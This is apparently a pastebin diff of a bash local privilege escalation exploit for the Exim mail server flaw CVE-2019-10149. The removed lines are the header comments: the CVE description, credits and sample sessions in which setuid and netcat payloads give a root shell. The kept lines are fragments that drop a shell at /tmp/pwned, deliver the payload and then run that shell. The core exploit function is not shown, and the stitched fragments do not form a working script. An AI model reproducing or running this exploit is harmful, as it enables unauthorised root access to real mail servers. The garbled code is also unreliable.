View difference between Paste ID: TPhwMnNZ and 78uLrru1

 #!/bin/bash
 METHOD="setuid" # default method
-#
+
-# raptor_exim_wiz - "The Return of the WIZard" LPE exploit
+
-# Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>
+
-#
+
-# A flaw was found in Exim versions 4.87 to 4.91 (inclusive).
+
-# Improper validation of recipient address in deliver_message()
+
-# function in /src/deliver.c may lead to remote command execution.
+
-# (CVE-2019-10149)
+
-#
+
-# This is a local privilege escalation exploit for "The Return
+
-# of the WIZard" vulnerability reported by the Qualys Security
+
-# Advisory team.
+
-#
+
-# Credits:
+
-# Qualys Security Advisory team (kudos for your amazing research!)
+
-# Dennis 'dhn' Herrmann (/dev/tcp technique)
+
-#
+
-# Usage (setuid method):
+
-# $ id
+
-# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
+
-# $ ./raptor_exim_wiz -m setuid
+
-# Preparing setuid shell helper...
+
-# Delivering setuid payload...
+
-# [...]
+
-# Waiting 5 seconds...
+
-# -rwsr-xr-x 1 root raptor 8744 Jun 16 13:03 /tmp/pwned
+
-# # id
+
-# uid=0(root) gid=0(root) groups=0(root)
+
-#
+
-# Usage (netcat method):
+
-# $ id
+
-# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
+
-# $ ./raptor_exim_wiz -m netcat
+
-# Delivering netcat payload...
+
-# Waiting 5 seconds...
+
-# localhost [127.0.0.1] 31337 (?) open
+
-# id
+
-# uid=0(root) gid=0(root) groups=0(root)
+
-#
+
-# Vulnerable platforms:
+
-# Exim 4.87 - 4.91
+
-#
+
-# Tested against:
+
-# Exim 4.89 on Debian GNU/Linux 9 (stretch) [exim-4.89.tar.xz]
+
-#
+
 		echo "Problems compiling setuid shell helper, check your gcc."
 		echo "Falling back to the /bin/sh method."
 		cp /bin/sh /tmp/pwned
 	fi
 	echo
-# usage instructions
+
-function usage()
+
 	echo "Delivering $METHOD payload..."
-	echo "$0 [-m METHOD]"
+
 	exploit
-	echo "-m setuid : use the setuid payload (default)"
+
-	echo "-m netcat : use the netcat payload"
+
 	# wait for the magic to happen and spawn our shell
-	exit 1
+
 	sleep 5
 	ls -l /tmp/pwned
 	/tmp/pwned